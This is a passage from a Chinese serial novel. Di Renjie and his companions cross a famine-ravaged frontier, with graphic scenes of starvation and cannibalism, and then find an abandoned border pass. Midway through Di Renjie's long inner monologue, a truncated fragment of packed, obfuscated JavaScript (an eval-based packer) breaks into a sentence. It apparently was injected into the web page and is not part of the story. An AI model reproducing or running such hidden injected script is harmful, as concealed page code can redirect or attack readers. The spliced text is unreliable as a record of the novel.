狄仁杰道:“是,他是我此次出来办案的单线联络人,除了陛下以外,也只有他知晓。我们当时都磋商好了,一有消息,便借着他的手传递与陛下。如今我就要你交给他,他自会交给陛下。至于你通缉犯的身份,我在信里也都说明白了,张阁老看了以后,自会为你洗脱冤屈的。” 马肃道:“那之后我还回来吗?” 狄仁杰道:“不必了,你可听从张大人的安排。” 马肃点了点头,道:“好吧。” 狄仁杰也点了点头,道:“马肃啊,从一开始,你就一直在救我们,我们都很感激你啊。” 马肃忙道:“狄公,这都是我应该的。” 狄仁杰道:“待边关之案一了,我们便回都与你会合。” 马肃道:“到时在哪里会合?” 狄仁杰道:“到时你会找到我们的。” 马肃又点了点头,看了看几人,道:“你们……” 洪辉道:“马大哥,你就安心去吧,我们会好好的。” 胡乐道:“回来再见。” 狄宁道:“再见。” 巴兰姆道:“路上小心。” 鹃儿不停地点头。 马肃也是看着他们点头。 韩忠义眼神仍是呆呆的,望向别处。 马肃见了,不觉嘴唇颤抖,湿了眼眶,眨了眨眼,道:“狄公,我走了。” 狄仁杰看着他,闭上了眼微微点了点头,又睁了开来,嘴唇同时稍稍张了开,轻轻地吸了一口气,又悄无声地吐了出来。 马肃遂拿了盘费,即日便离开了几人,返回洛阳去了。 不在话下。 接下来的日子,一行人再也不敢耽搁了。 日夜兼程,已经临近边陲。 途中因战乱和饥荒而迁徙的难民如海边的沙一般不可胜数。 那大批的逃亡者拥塞了道路,使得狄仁杰一行被那些与自己背道而驰的大众所阻碍,堵在了人山人海之中,挤得动不得了。 且不但停滞不前,还被如洪水般泛滥的群众冲的一直往后退,几乎不曾被踩死。 其实人群中许多真的被踩死了,还有的饿死了,也有的病死了,真真是人间地狱。 只听得哭喊声震天动地,一堆羸弱的面孔又惊惧又悲伤,满了绝望和迷茫。 这场面令狄仁杰几人潸然泪下,又惶恐不安。 只见人们为了活命,都互相争吵斗殴,甚至杀伤人命。 有的大人甚至狠心到售卖孩子,就为了给自己换那么一口粮食吃。 还有许多妇女,为了自己和家人,被迫卖身,也不过是为了那么一口粮食。 几人越往前走,愈见饥馑遍地,饿殍载道,周遭的树皮树枝、草根泥土等物尽被人吃得所剩无几了。 到后来人民相食,互吃彼肉,饮血餍尸以充饥。 狄仁杰几人见了,一面流泪,一面呕吐。 狄仁杰不忍,将身上那最后的干粮分给了那些饥民,见他们便如疯了一般,一齐扑过来抢,互相厮杀。 这么一来,不但害了更多人,且连自己几人也没东西吃了。 就在那阴沉沉的天空下,几人沿着那被饥民啃食得凹凸不平的泥土大道继续赶往边关。 这时也不知是饿的,还是因为吃了太多那路旁剩下的那一点枯萎泛黄的荒草,肚子竟大痛了起来。 几人都蹲了下来,痛苦地呻吟,实在是走不动了。 放眼望去,尽是一片萧索。 那一棵棵树上,镶嵌着一颗颗的牙齿,还有那剥落了的树皮,沾着一丝丝的血迹。 那一具具尸体,横在了地上,无人收拾,都被啃得七零八落。 隐隐传来了哭声、叫声、狂笑声。 所有人都疯了、死了。 鹃儿瞪大了眼,双手使劲刨着那地上的泥土,将那一块块干枯的土块硬往嘴里塞,一面发疯似的狂笑。 几人都知道她很饿,就像自己也很饿一样,也就没有阻拦。 只见她一口接着一口地吃,不停地吃,使劲地吃,吃得都噎住了,缓了一缓,又继续再吃。 狄仁杰几人怕她真的要吃死了,都哭劝,她又哪里肯听。 或者说,她根本就听不懂了? 她吃啊,吃啊,越吃越缓慢。 直到最后垂下了双手,咽尽了嘴里的最后一口,呆呆地瞪着前方的路,轻轻一笑,向后便倒…… 她死了。 她是因为吃了太多,撑死的。 韩忠义双手摇晃着她的遗体,说道:“姑娘,姑娘,你快醒来。” 狄仁杰几人哭道:“她已经死了。” 韩忠义道:“她没死,她只是睡着了。” 几人遂将她埋了。 一边埋,一边哭。 有的默默抽泣,有的撕心裂肺,还有的无动于衷。 洪辉道:“鹃姑娘,我要代你勇敢地活下去。” 胡乐含泪点头。 巴兰姆道:“这世间的苦难……太多了……” 韩忠义突然扑到坟上去,双手拼命刨土,哭叫道:“不!不!不!” 几人见了,又是哭着叹气。 韩忠义趴在地上,双手颤抖着捧着碎土,泪眼看着荒冢,不停地轻轻摇头。 一时,几人将他拉了起来,见他满面泪痕,眼睛一眨也不眨,直瞅着远处发呆。 几人这时都感到心里空空的,不知说什么好了。 饥饿,早都忘却了。 疲累,倒是感觉…… 很累啊…… 几人都睡着了。 一觉醒来,阳光又出来了。 几人看着鹃儿的坟墓,呆了呆,似乎悲痛到没感觉了。 站了起来,望着远方长长的路。 狄仁杰说声:“我们走。” 几人便继续赶路。 只是一行人每行一段路,便会饿得双腿一软,倒了下来。 几人虽然不想吃土,可还是得吃,因为也总比吃人要好。 胡乐常常会从睡梦中哭醒,大叫着:“妹妹!妹妹!” 洪辉也是双手抓着头发流泪。 韩忠义更是傻了似的,脸上的肌肉不停地抽搐,两眼望着地上直发呆。 梅四儿对狄仁杰几人的恨也愈来愈强烈,只是想着:“自从跟了你们,我倒了八辈子血霉,整个人生也跟着毁完了。我……我如果活不了,你们也别想活……” 狄仁杰、巴兰姆二人相顾一看,谁也没说话,一个摇头叹气,一个点头叹气。 狄宁抬头望着天空,见到处飘着乌云,却也掩不住日光。 哀鸿遍野,实在是难以诉说的悲伤。 只听得狂叫声传来,一个年轻人满嘴是血,到处乱跑,哭叫道:“娘!我怎么会把你给吃啦!”叫着一头撞死。 几人只是闭着眼皱着眉,不停地泛出泪水。 这天夜里,几人在旷野之中睡着了。 胡乐又梦见了她,忽地睁开眼来,只见漆黑之中,近处有人正在吃着尸体。 定睛一看,竟是梅四儿。 胡乐叫道:“你……你吃人肉!” 梅四儿吃了一惊,张大了嘴,里面的血肉都露了出来。 胡乐惊叫,把狄仁杰几人都吓醒了。 梅四儿浑身颤抖,瞪大了眼,双手兀自抓着残肢,看着狄仁杰几人,不觉哭了出来,道:“我……我实在是太饿了,我……我想吃点肉……” 狄仁杰指着怒骂道:“死也不能吃人肉!” 梅四儿听了,看了眼手中的残肢,忙丢掉道:“我再也不敢了。” 几人叹了口气。 接下来的日子,几人在地上爬,饿了时候就吃口土,反正都是现成的。 梅四儿想道:“到了边关以后只会更惨,我还不如现在就回去……不行,我回不去了。他们不让我吃人肉,那我就杀了他们,吃他们的肉回去。我杀得了他们?恐怕杀不了啊。算了我不杀了,跟着他们没准还能活命。” 洪辉想道:“爹,你还好吗?村里人怎么样了?我呀,可能要死了。但是我不后悔,我不后悔跟着先生。这世上受苦的人太多了,我只是其中一个。人哪,好像就活在苦难中,就像我们村里的猪,成日在泥地里打滚。”想着不自觉笑了。 巴兰姆想道:“我到不了边关了吗?上天啊,我想拯救苍生,你为什么不给我这个机会?” 狄仁杰什么都没想,只是觉得好累。 又爬了几日,四周荒无人烟,几人就快要死了。 至于是什么死法,都大同小异,反正不是饿死,就是病死,就是老死,就是累死…… 都得死。 就说狄仁杰此刻脑海中一片空白,恍恍惚惚,全身上下连一点力气都没了。 远方的路,依然望不见尽头,眼睛都快要睁不开了。 此刻累得就只想要长眠,不想活了。 他隐约地想道:“我这一生走过很多路,可没有一条比这边关之路更长。我一直在路上,走也走不完。我很累,我不想走了,可是还是得走下去。因为人生的路是走不完的,可你又不能停下来。我有时候想休息一下,可是根本就没有办法。我不断地跌倒,又不断地爬起来,我在永无止境的路上挣扎,徘徊。我很累,我想停下来。为什么上天生了我,又不让我好好地活着?我不想再这么走下去了。我好累,我累到……呵呵,有什么用?我,还得走。我很软弱,我没那么坚强。我满嘴的高言大志,可我的行为背道而驰。是的,我虚伪。我狄仁杰就是个人渣。我自小体弱多病,饱受折磨,从来就没有停过。我体会过众叛亲离,人们欺辱,可是我从来没有放弃。世人只看到了我光鲜的一面,哪知我遭受了这么多的不幸。我也曾恶过,坏过,做过一些无耻的事。但我自认为也算是个好人,并没有那么坏。这世上坏的人多了去了,又为什么要多我一个?吴常,你就是我,你是我的另一面!我要是坏起来,我比你们都坏!世上人既要逼良为娼,那也就容不得我的善良!我受够了疾病的折磨,我厌恶了欲望的执着。我是个人!可是我连个畜生也不如!我脑海中有各种善恶的念头在交战,我也不知道我到底向着哪一方!我好痛苦,因为我心向善,可是这些恶的念头却在时时刻刻地逼迫着我!这个世界整个都烂了,多我一个人也改变不了。天哪,你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要害死我呀!你既然想让我堕落,你又为什么生我?我就不完美!我犯罪!你杀了我吧,你干吗让我活着!活着?活着为什么?受苦?受难?为什么!我现在活着吗?还是我已经死了呢?生跟死有什么差别啊?啊?啊!你要逼我杀人?我不杀别人,我杀我自己!我又跌倒啦,爬不起来了,因为我累了。我一直在跌倒,反反复复地跌倒,跌得我都累了。我又一直在爬起来,反反复复地跌倒之后,又一次爬了起来!你让我摔得好痛啊,我浑身遍体鳞伤,沾满了血迹,洗也洗不干净了。我被折磨得累了,我都不想再这么下去了,可是你也没有帮帮我。你放任着我的疾病缠绕着我,我的欲望捆绑着我,还有我的良心受那无穷无尽的折磨!一次又一次的挫折,已经把我变得不像人了。你看看我,你看看我!我都不敢再看啦!这哪里是我?我,也曾经年轻过,也曾经风光过,可如今已经荡然无存了。我已经不是我了,虽然我看起来仍然是我,可是我不像我,倒像是他。他,会不会才是真实的我呢?为什么我有时候会那样?我,还是我吗?为什么在我身上出现了一个不一样的我?他是谁?他也是我?我,就是我吗?有善,有恶,这才是真实的我吗?一个跌倒了又爬起来的我,遍体鳞伤的我,那才是真实的我。我,是谁?我是不是我所以为的那个人?那个叫做狄仁杰的人。狄仁杰,一个宰相,辅佐了万人唾弃的君王,背叛了李唐,他,就是我?不。我,始终是那个人!我没有变!变得是你,我的心!你不想让我像原来那样,简简单单地活着,就跟众人一模一样,完全一样!对,那个人才是我,那是我想活出的样子。其实我也不想那么活,因为没有人想那么活,就像没有人想活得像我一样,这么的惨。我很惨吗?是啊,很多人比我惨多了。你想他们都活成了那样,活成了他们不想活成的样子。就像我,根本就没办法决定自己的命运。我知道,都在你们的手里……不,你们主宰不了我,因为我才是我。我纵使再软弱,我也是我!你们,不用管我,就像我也不用管你们。我为什么要管你们?你们也可以照样去活呀。你们爱怎么着,就怎么着吧。凡事,不用问我,问那个能主宰你们命运的人。我呀,累啦,可说到底啊,这都是我自己亲手造成的,我也怪不得任何人哪。那我又为什么要这么做?对,原因太多了,我实在是身不由己。从外在到内心,有很多的逼迫。你跟我说的这些话,跟屁一样!没用!一两句话,能他妈的解释清楚?我现在已经困在了当中,动不得,出不来了。命运啊,你这是要害我呀。你给了我很多很多的要求,可你却没有给我达到要求的能力。我也想做到啊,或者说不做了。但是我行吗?我很想现在开始,不要再受折磨了,能够一个举动,一劳永逸,这是多么好的理想啊。可是这都不可能了,因为我没有能力!我也想要有能力,可是在这时空当中,这一切皆是必然。苦难终究没有办法避免,而其中就有病痛。当然还有很多,但我不想再说啦。为什么呢?因为想来想去也解决不了问题。我,能不能从今天开始,重新做人哪?我想,没有可能。一个人一辈子也只能活一次,而一切又都注定好了。如果能让我重新开始,我想我也还是会这么惨!你啊,你不肯放过我。我觉得你很喜欢看我受折磨。我难道是故意的吗?虽然从结果上来看,是的。可是过程呢?也像。但是,我真的没有抉择。或者说我就算有,我也选择不了。人在犯错之前,又怎么能够超越自己的局限呢?怎么才能够跳到那时空以外,去看见自己的未来呢?就那么一瞬间的事,我也错了。因为我只是个人。假如我不是人,我也可以像畜生那般为所欲为,可问题我就是个人,所以我就不能像畜生!可我最终却活得跟畜生一模一样。这就是你们想看到的结果,人不像人,畜生也不像畜生。我要是吃完睡,睡完吃,那我又与畜生何异呢?问题是一个人不吃饭,那他还能活吗?人难道不是靠着食物而生吗?但是我吃完了饭,什么都没干,或者说,我干了与我吃饭不相称的事,比如这件事比吃饭还要卑劣,那我是不是亵渎了饭呢?饭都来之不易,又为什么会被吃到了我的肚子里呢?我配吃饭吗?我配吗?我觉得,我不配。可是我虽然不配,没吃饭照样没法活呀。为什么活着就非要吃饭呢?就算吃饱了饭又能怎么样呢?不吃饱,又怎么样呢?难道会没法活吗?那我现在到底吃饱了吗?如果我吃饱了,那我现在还活着吗?那些吃了断头饭的,他们也饱了,可他们却死了。而如果我没饱呢?难道我就死了吗?我好像也没有死啊,或者我已经死了。如果我已经死了,我现在在想什么?一个人都死了,还能去想生与死的问题吗?如果没有死呢?那我怎么感觉没在活着呢?其实我就算活着,我也不会意识到我原来仍然活着。而我若死了,那我现在也就不是个人了。就算是,已经不是活人,而是死人了。那活人跟死人又有什么差别呢?那活着的还仍然活着,而死了的却已经死了。不过也都差不多,因为生与死本身都不存在。如果生死都不存在,那我存在吗?如果我不存在,那我对于存在的意识又是从哪里来?如果我存在,那我对不存在的想法又是从哪里来?我从哪里来?哪里又从哪里来?哪里的哪里又从哪里来?从哪里来又有什么关系,反正都已经来了,回不去了。回去?回哪里去?回哪里那里去。回哪里那里去干吗?为什么要回去?为什么要来?来来回回,我带来了什么?我又带走了什么?我什么都没带来,也什么都带不回去。只剩下我,我自己,在这里。我在这里,我想着要回去。我从这里回到哪里去?哪里在哪里?哪里的哪里又在哪里?我从哪里那里来到这里,又从这里回到哪里那里,这是为什么呢?我为什么要来?我又为什么要回去?我能不来吗?我能不回去吗?如果我没来,我又怎么回去?我既能回去,看来我已经来了,所以也只能回去了。可我为什么来了?是我想来吗?还是我不想来?我既然不想来,那我为什么要来?是我要来吗?还是要我来的让我来了呢?要我来的是谁?他为什么要让我来?如果我选择不来呢?我有可能选择不来吗?如果有,那我当时选择了吗?我选择来了吗?如果我没有选择来,那我又怎么还是来了呢?是因为我选择了不来吗?那我选择了不来,为什么反倒来了呢?选择了不来不是应该不来的吗?还是因为我选择不了不来呢?不来都选择不了,难道来就选择得了?那不来是必定的,来也是肯定的,这还算什么选择?所以如果有选择,来与不来都能选择,那我是在那时候选择的吗?那时候到底有选择吗?对于有没有选择又有没有选择呢?如果有,那我有没有选择要有选择的选择呢?我如果没有选择,那选择选择的选择也就不存在了。既然这都不存在了,那我为什么还是来了呢?是因为来与不来跟选择的存在都不存在,所以只有这个结果了吗?那又为什么只有来这个结果?有没有不来这个可能呢?如果没有这个可能,那命运就是要人不想来也得来,因为来与不来都由不得你,跟你的意愿没有丝毫关系,而是你必须要来,而必须来的结果就是你还是来了,就像此刻我必须要问我自己为什么还是来了。其实啊,都不用问,因为问与不问都已经改变不了那已经来了的结果,而这个结果当初也不是问来的。是,没人问我,可我问我自己,我为什么要来?不,这个问题根本就不存在。如果存在这个问题,那这问题也都不是问题了。问题是这个问题就是一个问题,而问题得不到回答,因此也只能问我自己。能回答的不回答,不能回答的想回答,那就是我。我想回答,回答自己,回答自己为什么要来的问题。可我已经没有回答我自己问题的能力了,因为回答问题也需要体力。我此刻到底有没有体力呢?如果没有体力,那我此刻是正在思考还是正在放弃?如果我有体力,那我是否还会用上此时此刻的脑力?脑力?什么是脑力?体力不是脑力,脑力不是体力?难道没了体力就有了脑力?有了脑力就没了体力?体力与脑力难道不都是力吗?可我现在好像除了体力,什么都还有,当然也包括脑力。可为什么没体力的时候就有了脑力呢?是因为脑力是体力的终结吗?还是因为体力是脑力的障碍?这二者都存在。那为什么存在?谁存在?体力?脑力?还是我?如果没有我,那我的体力和脑力又是从哪里来?我尚且不知道我是从哪里来,我又怎么可能弄清楚我的体力和脑力是从哪里来呢?不过他们看似都是从我这里来。我这里是哪里?从我这里看过去虽然像这里,可从哪里那里看过来,不又像那里吗?这里跟那里的界限又在哪里?在哪里这里?还是在这里那里?我怎么知道呢?是啊,我不知道。那我知道什么?我知道我不知道。我除了知道我不知道,我还知道什么?我还知道我知道我不知道。我所知道的不知道到底是不是我的知道?如果不是我的知道,那我所知道的知道又到底是不是我的知道?不是我的知道吗?我知道我不知道,这就是我的知道。如果我不知道,我会连不知道这个知道都不知道。可如今我知道我知道,而我所知道的正是我的不知道,看来我知道我不知道,所以我还是不知道。因为如果我知道,我就没有必要不知道。我既然不知道,那我知道我不知道的知道自然也是不知道,否则我又何必去不知道。何必去不知道?我能选择我知道还是不知道吗?当我不知道了时候我就是不知道,而当我知道了时候我就是知道,所以知道不知道的本身根本就不需要知道,因为我也已经知道了我到底知道不知道。所以呢,我到底知道不知道?我知道了又怎么样?我不知道又怎么样?知道不知道难道还由得我吗?我能选择我知道还是不知道吗?就像我能选择我就是我吗?我能不能选择做他而不是做我?他是谁?我为什么要做他?难道他不想要做我吗?他又为什么想要做我?做我难道很容易吗?有他容易吗?如果比他还要容易,那我又为什么要做他呢?他既然比我还难,那我又何必要跟他换呢?可他如果要跟我换,那是因为我比他要容易的缘故吗?那他又是怎么知道我比他要容易的?是因为他知道他要比我难吗?那他又是怎么知道他要比我难的?他比我难是比我,而我比他容易又是比他,那我的难因为他的更难就变得更容易了吗?他的难因为我的容易就变得更难了吗?苦难是可以相提并论的吗?难处是可以等量齐观的吗?如果可以,那彼此之间的结果会因此而改变吗?改变什么?什么在改变?是这世界在变吗?还是我在变呢?是我在变还是这世界在变?也许是时间在变。时间为什么在变?时间到底存在不存在?是时间的存在引起了变动,还是变动的存在本身引起了时间的存在?那为什么时间存在?还是说那时间根本就不存在,而是我存在。而我存在,所以我以为时间也存在。或者我也不存在,而是世界存在。或者世界也不存在,是存在存在。那么存在为什么存在?存在的存在是从哪里来?也是从哪里那里来吗?存在作为存在的本身有选择自己到底要不要存在的可能性吗?如果有,那是存在自己选择了自己要存在,以致于包括时空、世界和我的一切存在都一起存在了吗?宇宙万物真的是因为存在的存在而存在的吗?那那存在能够选择自己是否要存在的这个选择又是从哪里来的呢?选择的本身又如何选择自己是否要存在呢?那存在是那选择的产物,还是那选择是那存在的基础?或者存在跟选择是同时存在,也就是那其中的存在因为选择了存在而存在,而选择因为本身的存在而自我存在同时将存在存在的选择性给了存在的本身,使得二者相互共存?可存在的选择又是因为什么选择而存在?是那选择不用选择便自我存在,还是那存在不用存在就自我选择?为什么要选择?为什么要存在?存在跟选择跟我有什么关系!我?我有什么关系?我跟关系没关系!关系是什么关系?为什么要关系?关系到后来跟我有关了?为什么跟我有关?为什么什么都跟我有关!为什么苦难跟我有关?为什么存在跟我有关?为什么选择跟我有关?为什么有关又跟我有关!这跟我有什么关系!为什么要回到我身上!我都不想活了!不对啊,我已经死了。也不对啊,我怎么会死了呢?我为什么死的?我连自己怎么死的都不知道?还是说我根本就没死呢?这么说我还活着了?我活着吗?我怎么知道我还活着?我又怎么知道我已经死了?或许我没死也没活,那……我在干吗?我……我是谁?哦,狄……狄仁杰……狄仁杰?这是我吗?有点像。不对啊,我……我不就是我吗?我……是啊,我就是我。我……好累啊……” 脑海中千丝万缕,真的是越想越累。 忽听得一个声音道:“老爷,你看,我们到边关啦……” 46. 第四十六章 边关 旌旗蔽日,云雾遮天。 陆续进发的大军浩浩荡荡,克日于无际的旷野摆开了阵势。 连年的征战将尘世间的悲剧拉开了序幕,历史的旧戏却尚未散场。 不断上演的循环,缓慢而又沉重地将生命的烛炬逐渐吹熄。 大道之上仍铺陈着如山的白骨,风烟之中还饯别着浊泪的归途,黄沙之内正渲染着未干的鲜红,山海之间亦残留着人间的懵懂。 清脆的铁铃随风款款摆动,呼吸在宽阔之处格外鲜明。 一片死寂被突如其来连绵不断震彻大地的号角声打破,过程在岁月长河循序渐进的酝酿之中必然地爆发了。 登时尘沙滚滚而来,烈焰冲天而上。 在怒火的烟熏之下,晴空的云端变得天昏地暗,迸裂出震耳欲聋的雷响。 叫嚷声相互夹杂,伴随着万马奔腾,踢踏如潮,围绕着不可逾越的疆界,纷扰的中心点,如狼似虎的愤恨仿佛银河倒悬倾泻而下。刀剑铿锵,锋锐绝伦,在日光之下熠熠耀眼,闪烁辉煌,如滔滔江水淘尽的层层骇浪,涌动着心中无限的迷茫。 炎热之中摇晃着铁器的严寒,撞击出了刺骨的叮当。 冤仇嗔恨在转瞬之间一笔勾销,尽归寂寥,飞旋万代风云伟绩,败寇成王。 千丝万缕乱成了一团,秩序本无常,又何谈大业将相,尧舜禹汤。 唯有枯骨遍地,于酷暑之中倾尽苍凉。 绝望的哭喊,离别的惘然,寻不见刀光剑影中那海市蜃楼一般的天堂。 沙粒摩挲着脸庞,四顾一片朦胧,弹指间血海无踪,唯有仰头望见的蔚蓝天空。 喧哗过后的静谧异常地孤寂,丝毫闻不见人间的种种叹息,只有那失散的生命如细雨般点点滴滴,悄无声息地洒向了大地。 展眼送走的期盼,等待中的虚幻,诉不尽的荒唐,似酹抛大江的无限哀伤。 独自伫立高山之巅,俯瞰天边染红的血色残阳。 悄然踱步大江彼岸,触摸着刺痛众生的金片涟漪,宛若映入雪光。 降临的黑暗,无声地迎来了那帷幕背后荡气回肠的新殇。 …… 话说狄仁杰正自胡思乱想,竟不知不觉跟着几人一齐爬到了边关,而尚不知之。 亏得胡乐半死不活说了一声“我们到边关啦”,狄仁杰方清醒了过来。定睛一看,果真面前不远处便是大周的边境关口了。不觉喜不自胜,也不知从哪里得来了一股力气,竟霍地跳了起来,大叫道:“哎呀!哎呀!我到边关啦!”一面仰天狂笑。 其余几人也跟疯了似的,群魔乱舞般跳了起来乱喊乱叫。 狄仁杰直喜得倒了下去,韩忠义口吐白沫,胡乐满地打滚,狄宁手舞足蹈,巴兰姆声泪俱下,洪辉声嘶力竭,梅四儿生无可恋。 一时几人浑身发软的缓缓走了过去,只见关口处空空如也,哪儿有个人影? 一阵暖风吹来,轻轻地吹起了遍地的沙土。 几人站在枯草上,不觉呆住了。 只见关外除了一片空地,也只有远方蓝蓝的天了。 胡乐骂道:“我操他妈的,我们来干吗?” 洪辉道:“怎么一个人都没有?” 韩忠义道:“鬼,鬼,鬼……” 巴兰姆道:“真是见鬼了。” 狄宁道:“大军不见了?” 梅四儿道:“怎么没人哪?” 狄仁杰微微皱眉。 几人遂出到了关外。 只见墙边有十来个残兵,倒在了地上,浑身是血,奄奄一息。 几人忙过来问,他们道:“我们……是……军营里……管……管伙食的……” 胡乐点头道:“那可是要职。” 狄仁杰忙问:“你们的统帅是谁?” 他们道:“王……王大将军……” 狄仁杰道:“可是王孝杰?” 他们点头。 其中一个忙跟其余人道:“不……不能……不能泄密……” 其余人听了,也怕狄仁杰几人是敌军派来套问消息的,遂皆缄口不言。 狄仁杰见了,忙道:“你们放心,我们不是敌军。” 他们有的不理睬,有的望向别处,有的一脸恶狠狠地瞪着几人,还有的一脸惊惧、求饶似的颤抖。 狄仁杰知道他们命不长久,便忙道:“吾乃当朝宰相狄仁杰,奉皇上旨意前来办案。吾乃钦差大臣,你们当助我……” 他们道:“你……你怎么证明……” 狄仁杰道:“我……我没法证明。” 巴兰姆忙道:“我们能证明。” 他们看了一眼巴兰姆,道:“你……你怎么证明……你是汉人……” 巴兰姆道:“我……我没法证明。” 他们道:“你……你是胡人……” 巴兰姆道:“我……我是胡人。” 他们道:“胡人……是我们的敌人……” 胡乐道:“咱老爷是‘敌人劫’!” 他们道:“他……他怎么证明……他……他是……是……” 狄仁杰急道:“我就是啦!” 他们道:“你……你自己说……不算……” 巴兰姆道:“那……那我说呢?” 他们道:“胡……” 胡乐道:“干吗呀?我姓胡啦,咋啦?” 他们道:“你……你也是胡人……” 胡乐道:“我是胡乐,不是胡人!” 他们道:“糊了……” 胡乐道:“欸,对。” 他们道:“饭糊了……” 胡乐道:“妈的,果然是造饭的!” 狄仁杰急道:“我需要你们配合我,这很重要!” 他们道:“你……你要干什么……” 狄仁杰忙问:“大军现在到底怎么样了?” 他们道:“不……不告诉你……” 狄仁杰急得跌足。 洪辉道:“你们这样有什么意思?” 他们道:“没……没什么意思……” 洪辉喝道:“就叫你们告诉我们到底怎么样了!” 他们道:“没……没怎么样……” 洪辉骂道:“操!” 狄宁道:“你们是不是奸细?” 他们道:“你们……贼喊捉贼……” 狄仁杰冷静了下来,道:“那你们能不能告诉我们,是谁把你们伤成了这样?” 他们道:“可以……” 几人遂凝神静听。 听他们道:“可以……可以不告诉你们……” 几人齐骂:“操!” 巴兰姆道:“兄弟们,你们不要这样,我们时间很要紧!” 他们慢吞吞道:“我们……有的是时间……” 胡乐叫道:“他妈的,要灭国啦!” 他们道:“灭就灭了,反正我们都快死了……” 洪辉道:“你们也是当兵的,死就不能死得光荣些?” 他们道:“光荣……不光荣……没人记得……” 洪辉道:“我替你记!” 他们道:“你……算老几……” 洪辉喝道:“你们他妈的是当兵的吗!” 他们道:“我们……只是……造饭的……” 洪辉喝道:“都来到前线了,还不能勇敢些啊!” 他们道:“我们……只管造饭……又不到……到前线打战……” 洪辉道:“那你们怎么被伤成了这样?” 他们道:“关……你……屁……事……啊……” 说着死了一两个。 狄仁杰叫道:“哎呀!……我们先救人要紧!” 胡乐冷笑道:“咱都快死了,还救人呢。” 狄仁杰叫道:“你不要冷笑!我好烦!” 狄宁道:“你们怎么才能相信?” 他们仍是慢吞吞地道:“相……信……什……么……啊……” 又死了一两个。 狄仁杰看着他们一字一顿大叫道:“相信我是狄仁……!” 他们看着他道:“你……你果真是……敌人……” 狄仁杰点头大叫:“我是狄仁……!” 他们遂互相道:“哥儿们反正都快死了,千万不能把情报泄露给了敌人……” 胡乐大叫:“是‘敌人’的‘劫’!” 他们英勇地吼道:“我们是你爹!” 又牺牲了一两个。 狄仁杰大叫:“哎呀!天不助我!” 他们道:“我们……也……不助……” 狄仁杰望着蓝天,苦笑了两声,道:“我千辛万苦来到了边关……我来干吗?” 洪辉将他们其中一人一把抓了来,正要喝问,那人已经死了。 其余的最后叫了声:“我们面对敌人的严刑拷问,誓死不招,为国尽忠喽!” 便也都死了。 狄仁杰几人只是叹气。 转身一望,漫漫长路,没有尽头。 不觉叹道:“原来边关不是终结,而是开始……” 胡乐叫道:“哎呀老爷!我们回洛阳吧!” 狄仁杰摇着头,坚定地道:“我们没有退路了。” 胡乐叫道:“有!现在就回去!” 狄仁杰指着怒叫:“你给我闭嘴!我们既然都来了,那就要走到底!” 胡乐哭叫:“我走不动啦!” 狄仁杰大叫:“你走得动!” 胡乐哭叫:“我走不动!” 狄仁杰大叫:“那你就再吃口土!” 胡乐哭叫:“我肚子痛!我不想再吃啦!” 狄仁杰狂叫:“不想吃也得吃!” 胡乐哭叫:“我要吃肉!” 狄仁杰狂叫:“没有肉给你吃!” 胡乐狂叫:“我要吃人肉!” 狄仁杰狂叫:“你要是敢吃人肉我先杀了你!” 胡乐狂叫:“你杀了我吧!我不想活啦!” 狄仁杰狂叫一声,朝胡乐直扑将去,被胡乐侧身一躲,整个人摔在了沙土地上。 巴兰姆几人忙来扶,见胡乐用手背擦泪,泣不成声。 狄仁杰只是哭着叹气道:“快吃土吧,前面恐怕连土都没得吃了……” 几人遂抓着沙土来吃,喉咙痛得难以下咽。 一面吃,几人回过头来,看了看关口,又转过头去,看了看远方的路,不觉一声叹息。 洪辉劝道:“先生,你先不要急……” 狄仁杰大叫:“我怎么能不急!现在到底是怎么回事儿!” 洪辉叹了口气,道:“看这情况,大军可能是出事了。” 狄仁杰道:“对,出事了,所以我们不能再耽搁了!我们现在就走!” 几人虽饱食了沙土,然浑身却仍是无力,只走了没几步路,便又倒下了。 狄仁杰直气得乱喊乱叫,叫了一会儿便没力气再叫了。看了几人道:“他妈的,就是爬也要爬到!” 胡乐道:“哟,老爷,你骂人啦!” 狄仁杰看着他大叫:“我就骂了!他妈的!你怎么着!” 胡乐笑道:“没怎么着,骂得好。” 洪辉道:“骂人有什么,先生要骂就骂!” 狄仁杰大叫一声:“走!” 几人也跟着叫:“走!” 都猛地跳了起来,一面狂叫,向前乱跑。 跑了一时,都又累、又饿、又渴,遂又都停了下来。 狄仁杰摇头叹道:“完啦,到得了边关,却到不了……”看着几人道:“我们到底要去哪儿啊?” 胡乐道:“老爷,你都不知道,那咱咋知道啊。” 狄仁杰道:“大军怎么会离奇失踪了呢?” 洪辉道:“是啊,除了墙边的那几个残兵,也不知他们是怎么死的,竟连个营寨都没有。” 巴兰姆点头道:“这实在是太古怪了。” 狄宁道:“他们是不是打仗去了?” 洪辉道:“就算是去打仗了,可这边关也不应该一个人都没有啊。” 狄仁杰忽道:“西北。” 洪辉道:“先生,你是说……” 狄仁杰道:“大军总有去处,而西北方如今已经沦陷,那么定是在敌军的手里。” 洪辉道:“先生是说,大军就在西北?” 狄仁杰道:“我也不能肯定,但至少要去试试。” 胡乐道:“老爷,你要去试着‘啃腚’啊,那算不算吃人肉啊?” 狄仁杰听了哈哈一笑,指着道:“到时候没饭吃了,我们啃你的腚。” 几人一听都笑了。 胡乐又道:“可老爷,咱别真的饿死了吧。” 狄仁杰道:“不会的。” 胡乐道:“你咋肯定?” 狄仁杰笑道:“我怎么‘啃腚’,我不告诉你。” 几人又笑了。 狄仁杰于是正色道:“西北方的本身就是一个大城镇,离此关口并不甚远。里面原是囤积我们大军粮食的,也就是一个大大的粮库。军粮从边关,也就是先运到了那个地方,然后再供给给了前线。也就是说,我们现在所在之处,并不是真正的前方。” 洪辉道:“虽这么说,可边关没人把守也还是很怪啊。” 狄仁杰道:“有没有可能,西北方如今已经被我军夺回来了?” 洪辉道:“可上回不是听说已经沦陷了吗?” 狄仁杰道:“可如果边关之前的那最后一道关隘都已经沦陷了,那么敌军又为什么不直接一举攻入大周境内,而是守着不动呢?” 洪辉道:“他们或许是……在等待时机?” 狄仁杰道:“那么他们在等待什么时机呢?” 洪辉道:“这……” 狄仁杰道:“如果不是我军夺回了西北,那么还有什么理由可以让他们迟迟不行动?” 洪辉道:“除非他们还有后顾之忧。” 